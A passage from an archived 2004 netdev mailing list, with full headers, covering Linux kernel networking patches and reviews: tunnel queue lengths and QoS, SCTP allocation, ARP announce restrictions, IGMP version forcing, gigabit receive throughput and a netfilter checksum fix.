2004 00:36:05 -0500 Date: Fri, 13 Feb 2004 21:36:06 -0800 From: "David S. Miller" To: Patrick McHardy Cc: hadi@cyberus.ca, qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org Subject: Re: 2.6: QoS scheduling not working with IP-over-IP Message-Id: <20040213213606.5a13cc76.davem@redhat.com> In-Reply-To: <402D54D6.5070708@trash.net> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3291 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 13 Feb 2004 23:51:02 +0100 Patrick McHardy wrote: > while looking for other devices that may be affected I noticed > this fix changes behaviour in dev_activate. dev_activate creates > pfifo_fast queues for devices with tx_queue_len != 0 and noqueue > qdiscs otherwise. Thanks for spotting this. > Although it is uncomfortable for some users, I don't know if there > is anything to fix at all. Work-conserving qdiscs are useless for > virtual devices, as you say there is maximum one packet queued at > any time. For non-work-conserving qdiscs with default pfifo qdiscs > as leaves, I'd say it is simply a configuration error not to increase > tx_queue_len. Even with a length of 1 (or a off-by-one), you won't get > good results, except when the traffic is already well-formed. All that > is changed is that nonsensical configurations stop working. Another way to view this is that configurations that, while nonsensical, used to send packets properly no longer do. However, I do agree with you, and we should not promote this kind of crap. I'm going to revert the changeset that set tx_queue_len to 1 in the tunnels. Thanks again Patrick. From davem@redhat.com Fri Feb 13 21:52:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 21:52:56 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E5qiKO023772 for ; Fri, 13 Feb 2004 21:52:45 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1E5qgb28595; Sat, 14 Feb 2004 00:52:42 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1E5qgi01341; Sat, 14 Feb 2004 00:52:42 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1E5qQkC008313; Sat, 14 Feb 2004 00:52:41 -0500 Date: Fri, 13 Feb 2004 21:52:27 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: [BK PATCH] 2.6 SCTP updates Message-Id: <20040213215227.270a8147.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3292 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 13 Feb 2004 16:07:05 -0800 (PST) Sridhar Samudrala wrote: > Please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work > to get the following fixes to SCTP on top of linux 2.6.2. I am pulling this, however I strongly disagree with this change: > # 04/02/12 sri@us.ibm.com 1.1552 > # [SCTP] Use __get_free_pages() to allocate ssnmap. > # > # This is needed to avoid kmalloc()'s 128K limit when an association is > # initialized with a large no. of streams(more than 65000 inbound + > # outbound streams). This is madness because it means that every assosciation created eats at least PAGE_SIZE bytes of memory, even if the ssnmap is tiny. Maybe you should just brance between two allocation schemes based upon what sctp_ssnmap_size() returns. From davem@redhat.com Fri Feb 13 21:54:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 21:54:09 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E5s6KO024109 for ; Fri, 13 Feb 2004 21:54:06 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1E5s4b28927; Sat, 14 Feb 2004 00:54:04 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1E5s4i01579; Sat, 14 Feb 2004 00:54:04 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1E5s2kC008758; Sat, 14 Feb 2004 00:54:03 -0500 Date: Fri, 13 Feb 2004 21:54:03 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: [BK PATCH] 2.4 SCTP updates Message-Id: <20040213215403.23894e36.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3293 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 13 Feb 2004 16:07:29 -0800 (PST) Sridhar Samudrala wrote: > Please do a > bk pull http://linux-lksctp.bkbits.net/lksctp-2.4.work > to get the following udpates to SCTP on top fo linux 2.4.25-rc2 > > These set of csets bring 2.4 in sync with 2.6 lksctp. Pulled, thanks for following up on this for me. Please remember that if you make the suggested modification to ssnmap allocation, that the 2.4.x tree will need it as well. In fact, in general, please try to keep these two trees in sync now that you've done the hard part :-) From davem@redhat.com Fri Feb 13 23:10:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 23:11:38 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E7AbKO025043 for ; Fri, 13 Feb 2004 23:10:38 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1E7ASb12116; Sat, 14 Feb 2004 02:10:28 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1E7ASi12987; Sat, 14 Feb 2004 02:10:28 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1E7AQkC024768; Sat, 14 Feb 2004 02:10:27 -0500 Date: Fri, 13 Feb 2004 23:10:27 -0800 From: "David S. Miller" To: Herbert Xu Cc: kuznet@ms2.inr.ac.ru, jmorris@redhat.com, netdev@oss.sgi.com Subject: Re: [IPSEC] Move hardware headers for decaped packets Message-Id: <20040213231027.1e483332.davem@redhat.com> In-Reply-To: <20040214035534.GA25965@gondor.apana.org.au> References: <20030925121131.GA17968@gondor.apana.org.au> <200309251228.QAA11650@yakov.inr.ac.ru> <20030925124102.GA18188@gondor.apana.org.au> <20031207090205.GA2358@gondor.apana.org.au> <20031207014714.03e79cd2.davem@redhat.com> <20031207095527.GA2767@gondor.apana.org.au> <20031207165516.1edfde10.davem@redhat.com> <20040214035534.GA25965@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3294 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 14 Feb 2004 14:55:34 +1100 Herbert Xu wrote: > Looks like I've forgotten about this mac moving patch. Here it is again. > > Just to recap, this moves the hardware header so that it appears > next to the payload for AF_PACKET sockets. Queued for 2.6.4-pre1, thanks Herbert. From davem@redhat.com Fri Feb 13 23:24:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 13 Feb 2004 23:24:11 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1E7O7KO025548 for ; Fri, 13 Feb 2004 23:24:07 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1E7O2b15134; Sat, 14 Feb 2004 02:24:02 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1E7O2i15174; Sat, 14 Feb 2004 02:24:02 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1E7NxkC028177; Sat, 14 Feb 2004 02:24:00 -0500 Date: Fri, 13 Feb 2004 23:24:00 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040213232400.007a7436.davem@redhat.com> In-Reply-To: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> <20040211201656.4e4f708e.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3295 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Fri, 13 Feb 2004 01:50:32 +0200 (EET) Julian Anastasov wrote: > http://www.ssi.bg/~ja/arp_announce-2.6.2-4.diff Ok, I eat this, please make a 2.4.x version against Marcelo's current tree. The 2.6.x variant will go into 2.6.4-pre1 and the 2.4.x will go into 2.4.26-pre1 Thanks. From ja@ssi.bg Sat Feb 14 04:00:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 04:00:07 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EBxtKO000971 for ; Sat, 14 Feb 2004 03:59:59 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1EC36D9009679; Sat, 14 Feb 2004 14:03:08 +0200 Date: Sat, 14 Feb 2004 14:03:06 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests In-Reply-To: <20040213232400.007a7436.davem@redhat.com> Message-ID: References: <20040209140853.69ab8bea.davem@redhat.com> <20040209151053.1f63937a.davem@redhat.com> <20040211201656.4e4f708e.davem@redhat.com> <20040213232400.007a7436.davem@redhat.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1607745702-104341899-1076760186=:1132" X-archive-position: 3296 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1607745702-104341899-1076760186=:1132 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, On Fri, 13 Feb 2004, David S. Miller wrote: > > http://www.ssi.bg/~ja/arp_announce-2.6.2-4.diff > > Ok, I eat this, please make a 2.4.x version against Marcelo's current tree. Attached, against rc2 which looks enough. > The 2.6.x variant will go into 2.6.4-pre1 and the 2.4.x will go into 2.4.26-pre1 very good Regards -- Julian Anastasov --1607745702-104341899-1076760186=:1132 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: arp_announce for 2.4.25-rc2 Content-Disposition: attachment; filename="1.diff" ZGlmZiAtdXIgdjIuNC4yNS1yYzIvbGludXgvRG9jdW1lbnRhdGlvbi9uZXR3 b3JraW5nL2lwLXN5c2N0bC50eHQgbGludXgvRG9jdW1lbnRhdGlvbi9uZXR3 b3JraW5nL2lwLXN5c2N0bC50eHQNCi0tLSB2Mi40LjI1LXJjMi9saW51eC9E b2N1bWVudGF0aW9uL25ldHdvcmtpbmcvaXAtc3lzY3RsLnR4dAkyMDAzLTA2 LTE0IDA4OjQxOjU5LjAwMDAwMDAwMCArMDMwMA0KKysrIGxpbnV4L0RvY3Vt ZW50YXRpb24vbmV0d29ya2luZy9pcC1zeXNjdGwudHh0CTIwMDQtMDItMTQg MTE6MDA6MzEuNTI4Nzk4MDg4ICswMjAwDQpAQCAtNDgxLDYgKzQ4MSwzNyBA QA0KIAljb25mL3thbGwsaW50ZXJmYWNlfS9hcnBfZmlsdGVyIGlzIHNldCB0 byBUUlVFLA0KIAlpdCB3aWxsIGJlIGRpc2FibGVkIG90aGVyd2lzZQ0KIA0K K2FycF9hbm5vdW5jZSAtIElOVEVHRVINCisJRGVmaW5lIGRpZmZlcmVudCBy ZXN0cmljdGlvbiBsZXZlbHMgZm9yIGFubm91bmNpbmcgdGhlIGxvY2FsDQor CXNvdXJjZSBJUCBhZGRyZXNzIGZyb20gSVAgcGFja2V0cyBpbiBBUlAgcmVx dWVzdHMgc2VudCBvbg0KKwlpbnRlcmZhY2U6DQorCTAgLSAoZGVmYXVsdCkg VXNlIGFueSBsb2NhbCBhZGRyZXNzLCBjb25maWd1cmVkIG9uIGFueSBpbnRl cmZhY2UNCisJMSAtIFRyeSB0byBhdm9pZCBsb2NhbCBhZGRyZXNzZXMgdGhh dCBhcmUgbm90IGluIHRoZSB0Y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cmNlX2lnbXBfdmVyc2lvbiIsDQogCSAmaXB2NF9k ZXZjb25mLmZvcmNlX2lnbXBfdmVyc2lvbiwgc2l6ZW9mKGludCksIDA2NDQs IE5VTEwsDQogCSAmcHJvY19kb2ludHZlY30sDQo= --1607745702-104341899-1076760186=:1132-- From hadi@cyberus.ca Sat Feb 14 04:46:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 04:46:42 -0800 (PST) Received: from sand.cybersurf.com (sand.cybersurf.com [209.197.145.195]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1ECkcKO005515 for ; Sat, 14 Feb 2004 04:46:38 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by sand.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1ECp3F7025218 for ; Sat, 14 Feb 2004 05:51:03 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1ArzBl-00013f-CB; Sat, 14 Feb 2004 07:46:29 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: Patrick McHardy , qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <20040213213606.5a13cc76.davem@redhat.com> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> <20040213213606.5a13cc76.davem@redhat.com> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076762757.1060.4.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 14 Feb 2004 07:45:58 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3297 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sat, 2004-02-14 at 00:36, David S. Miller wrote: > However, I do agree with you, and we should not promote this kind of crap. > I'm going to revert the changeset that set tx_queue_len to 1 in the tunnels. I concur. But you gotta admit if that was a bug, it was the fastest fixed bug of the week ;-> cheers, jamal From hadi@cyberus.ca Sat Feb 14 05:07:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 05:07:20 -0800 (PST) Received: from blacktip.cybersurf.com (blacktip.cybersurf.com [209.197.145.196]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1ED7GKO006062 for ; Sat, 14 Feb 2004 05:07:16 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by blacktip.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1ED7A1T029072 for ; Sat, 14 Feb 2004 06:07:10 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1ArzVk-0002ZU-SX; Sat, 14 Feb 2004 08:07:09 -0500 Subject: Re: 2.6: QoS scheduling not working with IP-over-IP From: jamal Reply-To: hadi@cyberus.ca To: "David S. Miller" Cc: Patrick McHardy , qnex@atlantis.knm.org.pl, netdev@oss.sgi.com, shemminger@osdl.org In-Reply-To: <1076762757.1060.4.camel@jzny.localdomain> References: <20040211200549.736fa8b3.davem@redhat.com> <1076561489.1032.65.camel@jzny.localdomain> <1076561998.1035.72.camel@jzny.localdomain> <1076562282.1033.76.camel@jzny.localdomain> <20040211211536.23e97997.davem@redhat.com> <1076563502.1031.85.camel@jzny.localdomain> <1076564638.1033.91.camel@jzny.localdomain> <20040211215142.7f817513.davem@redhat.com> <1076566176.1033.94.camel@jzny.localdomain> <20040211222259.776ad818.davem@redhat.com> <402D54D6.5070708@trash.net> <20040213213606.5a13cc76.davem@redhat.com> <1076762757.1060.4.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076763997.1059.13.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 14 Feb 2004 08:06:37 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3298 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On second thought: Dawid noticed that SFQ and RED appear immune to this problem (i think any non classful qdisc would exhibit same behavior). Maybe we should allow for this behavior for consistency. The suggestion that Alexey made of setting limit of 1 to default child fifo when tx_queue_len is 0 is the better appraoch instead of touching these devices. cheers, jamal jamal wrote: > On Sat, 2004-02-14 at 00:36, David S. Miller wrote: > > > However, I do agree with you, and we should not promote this kind of crap. > > I'm going to revert the changeset that set tx_queue_len to 1 in the tunnels. > > I concur. But you gotta admit if that was a bug, it was the fastest > fixed bug of the week ;-> > > cheers, > jamal > > > > > From sekiya@wide.ad.jp Sat Feb 14 05:10:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 05:10:49 -0800 (PST) Received: from yui.nc.u-tokyo.ac.jp (yui.nc.u-tokyo.ac.jp [130.69.251.116]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EDAgKO006461 for ; Sat, 14 Feb 2004 05:10:42 -0800 Received: from anzu.nc.u-tokyo.ac.jp (anzu.nc.u-tokyo.ac.jp [130.69.251.114]) (authenticated bits=0) by yui.nc.u-tokyo.ac.jp (8.12.10/8.12.3/Debian-6.4) with ESMTP id i1EDAXYl012205; Sat, 14 Feb 2004 22:10:34 +0900 Date: Sat, 14 Feb 2004 22:10:28 +0900 Message-ID: From: Yuji Sekiya To: David Stevens Cc: Takashi Hibi , davem@redhat.com, netdev@oss.sgi.com Subject: Re: sysctl variable to force IGMP version [PATCH] In-Reply-To: References: <20040213135020.fd1564f%hibi665@oki.com> User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.3 (=?ISO-2022-JP?B?GyRCNW0lTkMrGyhC?=) FLIM/1.14.4 (=?ISO-2022-JP?B?GyRCM2A4Nj9ANVxBMBsoQg==?=) APEL/10.3 Emacs/20.7 (i386-vine-linux-gnu) MULE/4.1 (=?ISO-2022-JP?B?GyRCMCobKEI=?=) Organization: The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.14.3 - =?ISO-2022-JP?B?IhskQjVtGyhC?= =?ISO-2022-JP?B?GyRCJU5DKxsoQiI=?=) Content-Type: text/plain; charset=US-ASCII X-archive-position: 3299 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sekiya@wide.ad.jp Precedence: bulk X-list: netdev At Fri, 13 Feb 2004 10:31:54 -0800, David Stevens wrote: > I didn't plan on it. Forcing IGMPv2 is needed for some > switches that do IGMP snooping and don't understand IGMPv3, but > I'm not aware of any switches that do MLD snooping. Cisco Catalyst 6500 with 720 Supervisor module does. -- Yuji Sekiya From satyasrikanth2001@yahoo.com Sat Feb 14 06:09:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 06:09:18 -0800 (PST) Received: from web21107.mail.yahoo.com (web21107.mail.yahoo.com [216.136.227.109]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EE9EKO007413 for ; Sat, 14 Feb 2004 06:09:14 -0800 Message-ID: <20040214140914.3341.qmail@web21107.mail.yahoo.com> Received: from [203.200.95.130] by web21107.mail.yahoo.com via HTTP; Sat, 14 Feb 2004 06:09:14 PST Date: Sat, 14 Feb 2004 06:09:14 -0800 (PST) From: satya srikanth Subject: Re: gigabit ethernet To: Cheng Jin Cc: "Xiaoliang \(David\) Wei" , "netdev@oss.sgi.com" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3300 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: satyasrikanth2001@yahoo.com Precedence: bulk X-list: netdev Hi, The solution of using NAPI reduced packet drops to some extent. I am using dual processor 2.0 GHz Xeon Processors (32 bit 66 MHz PCI bus). For different packet sizes maximum bandwidth that my receiver handled without drops are like this. (Using raw sockets) Pkt Size Max Bandwidth (bytes) (Mbps) -------- ------------ 100 200 500 500 1000 700 1500 900 My CPU is unable to handle anything more than this. Is it possible to handle 1000Mbps for any packet size or atleast something better than this by using more powerful machines. If anyone of you have experimented with this, can you give an idea of what kind of a machine do I need for this. Also my driver has IP checksum offloading option ON. Does it mean that I can safely remove checksum calculation in TCP/IP stack? --- Cheng Jin wrote: > NAPI for e1000 is off by default, you have to > explicitly enable it > in the kernel config file (CONFIG_E1000_NAPI). > What kind of processors do you have? I haven't > tried pumping 1 Gbps > using processors slower than 2.4G Xeons. But it __________________________________ Do you Yahoo!? Yahoo! Finance: Get your refund fast by filing online. http://taxes.yahoo.com/filing.html From jmorris@redhat.com Sat Feb 14 10:37:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 10:37:34 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EIbSKO013178 for ; Sat, 14 Feb 2004 10:37:28 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1EIbKb25208; Sat, 14 Feb 2004 13:37:20 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1EIbJi31171; Sat, 14 Feb 2004 13:37:19 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1EIbI03008743; Sat, 14 Feb 2004 13:37:18 -0500 Date: Sat, 14 Feb 2004 13:37:23 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: "David S. Miller" , Harald Welte cc: netdev@oss.sgi.com, Stephen Smalley Subject: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3301 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev This patch fixes a bug with with multicast/broadcast packets, Netfilter, and NICs which do hardware checksums. Outgoing multicast and broadcast packets are cloned prior to being fed into the postrouting hook and looped back. A problem is caused when the shared packet data is modified by the netfilter core code when updating the checksum, but the skb->ip_summed field in the header of the original skb is not updated. The NIC then tries to do a hardware checksum on an already correct checksum, and we end up transmitting the wrong thing. This bug stops things like DHCP from working, and was noted under SELinux which uses the postrouting hook alone. The proposed solution below is to copy the skb rather than clone it, to ensure that the original and looped back packets are independent. Please review. (A similar problem seems to exist in the IPv6 code, although not verified yet). - James -- James Morris diff -urN -X dontdiff linux-2.6.3-rc2-mm1.o/net/ipv4/ip_output.c linux-2.6.3-rc2-mm1.w2/net/ipv4/ip_output.c --- linux-2.6.3-rc2-mm1.o/net/ipv4/ip_output.c 2004-02-03 22:45:00.000000000 -0500 +++ linux-2.6.3-rc2-mm1.w2/net/ipv4/ip_output.c 2004-02-14 13:04:20.880941816 -0500 @@ -254,7 +254,7 @@ && ((rt->rt_flags&RTCF_LOCAL) || !(IPCB(skb)->flags&IPSKB_FORWARDED)) #endif ) { - struct sk_buff *newskb = skb_clone(skb, GFP_ATOMIC); + struct sk_buff *newskb = skb_copy(skb, GFP_ATOMIC); if (newskb) NF_HOOK(PF_INET, NF_IP_POST_ROUTING, newskb, NULL, newskb->dev, @@ -270,7 +270,7 @@ } if (rt->rt_flags&RTCF_BROADCAST) { - struct sk_buff *newskb = skb_clone(skb, GFP_ATOMIC); + struct sk_buff *newskb = skb_copy(skb, GFP_ATOMIC); if (newskb) NF_HOOK(PF_INET, NF_IP_POST_ROUTING, newskb, NULL, newskb->dev, ip_dev_loopback_xmit); From laforge@netfilter.org Sat Feb 14 10:44:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 14 Feb 2004 10:44:16 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1EIiCKO013582 for ; Sat, 14 Feb 2004 10:44:12 -0800 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:RC4-SHA:128) (Exim 4.20) id 1As4lu-0002jk-Jp; Sat, 14 Feb 2004 19:44:10 +0100 Received: from laforge by sunbeam.gnumonks.org with local (Exim 4.22) id 1As4ff-0002dL-W8; Sat, 14 Feb 2004 19:37:43 +0100 Date: Sat, 14 Feb 2004 19:37:43 +0100 From: Harald Welte To: James Morris Cc: "David S. Miller" , netdev@oss.sgi.com, Stephen Smalley Subject: Re: [PATCH] Fix checksum bug for multicast/broadcast packets on postrouting hook Message-ID: <20040214183743.GO7756@sunbeam.de.gnumonks.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; 